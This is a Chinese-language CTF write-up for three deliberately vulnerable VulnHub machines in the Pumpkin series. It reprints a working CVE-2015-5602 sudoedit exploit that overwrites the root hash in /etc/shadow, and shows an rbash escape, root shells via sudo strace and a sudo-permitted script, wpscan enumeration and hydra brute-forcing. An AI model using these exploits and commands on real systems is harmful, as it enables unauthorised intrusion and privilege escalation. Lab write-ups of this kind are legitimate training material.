pumpkin 1-3 writeup

在vulnhub上找了找靶机玩玩,总体上难度不大,这里记录一下pumpkin这个系列的writeup

pumpkin garden

这个靶机直接给了ip,所以就不用arp-scan扫了

靶机ip:172.20.10.137

攻击机ip:172.20.10.135

nmap开扫

image-20200215152936747

开放了21,1515,3535端口

先看21端口,有一个匿名访问,得到这个

image-20200215153148618

内容是

Hello Dear!
Looking for route map to PumpkinGarden? I think jack can help you find it.

没啥东西,看http服务了,在源码里看到这个

image-20200215153517907

去看图片,发现可以直接列目录

image-20200215153918223

在hidden_secret下发现了一个clue.txt,base64decode之后得到账号密码

scarecrow : [email protected]$y

直接ssh登录,成功登录

image-20200215154306626

发现有个文件

image-20200215154500562

尝试登录goblin的账号,成功登录

image-20200215154713849

没有什么可以利用的点,继续信息搜集,在home下找到了这个

image-20200215154853956

看样子是要利用这个直接提权了,然而,这网站在我访问的时候是崩的,只能搜了,看一下sudo的版本

image-20200215155805761

搜exp找到了这个https://github.com/t0kx/privesc-CVE-2015-5602

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env bash
# CVE-2015-5602 exploit by t0kx
# https://github.com/t0kx/privesc-CVE-2015-5602

export EDITOR="/tmp/edit"
export FOLDER="${RANDOM}"
export PASSWD=$(printf ${RANDOM} \
| md5sum \
| awk '{print $1}')

prepare() {
cat << EOF >> /tmp/edit
#!/usr/bin/env bash
pass="$(printf "%q" $(openssl passwd -1 -salt ${RANDOM} ${PASSWD}))"
sed -i -e "s,^root:[^:]\+:,root:\${pass}:," \${1}
EOF
}

main() {
printf "[+] CVE-2015-5602 exploit by t0kx\n"
printf "[+] Creating folder...\n"
mkdir -p /home/${USER}/${FOLDER}/
printf "[+] Creating symlink\n"
ln -sf /etc/shadow /home/${USER}/${FOLDER}/esc.txt
printf "[+] Modify EDITOR...\n"
prepare && chmod +x ${EDITOR}
printf "[+] Change root password to: ${PASSWD}\n"
sudoedit /home/${USER}/${FOLDER}/esc.txt
printf "[+] Done\n"
}; main

在攻击机上准备好脚本,开simpleHttp,在靶机上直接wget就好了

攻击机上开启SimpleHttpServer

image-20200215160207342

靶机下载并提权,中间有一步改root密码,直接把goblin的hash复制到root那里就好了

image-20200215161321099

可以看到已经是root用户了,最后一步就是看flag了

image-20200215161504713

pumpkin raising

靶机ip:172.20.10.138

攻击机ip:172.20.10.135

靶机一共有4个pumpkin seeds,一个root flag

nmap开扫

image-20200215164230585

开放了22,80端口,直接看web服务,源码有一行

image-20200215164532666

解出来是这个,没什么用

This is just to remaind you that it’s Level 2 of Mission-Pumpkin! ;)

扫目录扫到了robots.txt

image-20200215164911959

然后进去随便翻翻,在hidden/note.txt里找到了这个

Robert : [email protected]=
Mark : [email protected]
goblin : 79675-06172-65206-17765

尝试ssh登录,失败

继续翻,找到了/seeds/seed.txt.gpg,但是没有密码,无法解密,尝试用首页上的SEEDWATERSUNLIGHT来解密,成功

image-20200215170300849

在后边应该是一串莫斯电码,找个网站直接解密看看,成功解密

image-20200215170438166

得到第一个pumpkin seed

YIPPEEYOAROTHRIGHPATH..BIGMAXPUMPKIEEDID69507

然后继续翻,找到了pumpkin.html,里边有一串

image-20200215171017807

一看就是base家族的,最后试出来是base32,得到

/scripts/spy.pcap

下载一下,wireshark打开,follow一下tcp流,得到第二个seed

image-20200215171449901

之前的pumpkin.html还有一些16进制数据

image-20200215171043302

找个网站解一下,得到第三个seed

image-20200215171553622

继续找,找到了underconstruction.html,在源码里看到这个

image-20200215172257103

可以看到应该是个图片隐写,找到了images/jackolantern.gif,开搞

1
stegosuite -x jackolantern.gif

发现有密码

image-20200215172538251

之前的三个账号密码还没试,试一下,试出来了密码是 [email protected],得到了第四个seed

image-20200215172724811

四个seed为69507,96454,50609,86568,然后就是排列组合登录jack账号了,尝试得到密码为69507506099645486568,ssh成功登录jack

image-20200215173115345

但是这是个rbash,也就是受限制的shell,可以用这个命令来在ssh连接的时候得到不受限的shell

1
ssh [email protected] -t "bash --noprofile"

可以看到一切正常了

image-20200215173851693

然后就是准备提权了

image-20200215174447940

在这个神奇的网站上搜一下,用这个命令就可以提权了

1
sudo strace -o /dev/null /bin/sh

得到flag

image-20200215174633197

总之这个靶机以取证隐写为主,和ctf的misc很像

pumpkin festival

靶机ip:172.20.10.139

攻击机ip:172.20.10.135

这个靶机有几个token,一个root flag

照样nmap开路

image-20200215175854949

开放了21,80,6880端口

和第一个靶机一样,直接登录看文件,得到token1

PumpkinToken : 2d6dbbae84d724409606eddd9dd71265

然后看web服务,看源码,得到token2

PumpkinToken : 45d9ee7239bc6b0bb21d3f8e1c5faa52

扫目录,得到robots.txt,两个403,一个404,还有一个store/track.txt,访问得到了这个

Hey Jack!

Thanks for choosing our local store. Hope you like the services.
Tracking code : 2542 8231 6783 486

-Regards
[email protected]

这里给了域名pumpkins.local,尝试改一下hosts

image-20200215181034102

这样就可以访问了

image-20200215181149026

得到token3

PumpkinToken : 06c3eb12ef2389e2752335beccfb2080

wpscan开始扫

1
wpscan --url 172.20.10.139 -e u

得到两个用户

image-20200215181345991

还有readme.html,访问得到一串K82v0SuvV1En350M0uxiXVRTmBrQIJQN78s,base家族试一波,base62,解得两个用户的密码

morse & jack : Ug0t!TrIpyJ

尝试登录,morse账号成功登录,在profile得到token4

PumpkinToken : 7139e925fd43618653e51f820bc6201b

然后尝试登录admin,这里卡了很久,后来看了wp,把整站的单词爬下来,生成字典来爆破,得到密码为Alohomora!

在post里找到了token5

PumpkinToken : f2e00edc353309b40e1aed18e18ab2c4

在setting里找到了token6

PumpkinToken : 06c3eb12ef2389e2752335beccfb2080

之后又陷入了停滞,看了wp,去搞ftp,用户为web服务index里提到的harry,使用hydra爆破

1
hydra -l harry -e nsr -P /usr/share/wordlists/rockyou.txt ftp://172.20.10.139

得到密码yrrah

image-20200215190703083

ftp连接

image-20200215191117114

进去发现Donotopen,一路进去,找到了token.txt和data.txt,得到token7

PumpkinToken : f9c5053d01e0dfc30066476ab0f0564c

用file命令来看一下data.txt,是个压缩文件,一路解压得到了jack,里边是十六进制,找网站解一下,是一个ssh key

image-20200215192802309

改个600权限直接登录就好了

1
ssh [email protected] -p6880 -i jack

image-20200215193203871

然后就是提权,sudo要密码,尝试之前得到的密码,成功

image-20200215193404167

看到允许pumpkins/alohomora*,所以可以自建一个文件,命名为alohomora,内容是

1
2
#!/bin/bash
/bin/sh

这样就可以开启一个root权限的shell,至于写入,可以用echo命令

1
2
echo '#!/bin/bash' > alohomora
echo '/bin/sh' >> alohomora

然后chmod +x alohomora,再sudo ./alohomora就可以成功getshell了

image-20200215193921893

最后看一下flag就好了

image-20200215194043714

参考:https://mzfr.github.io/vulnhub-writeups/2019-07-22-PumpkinFestival

0%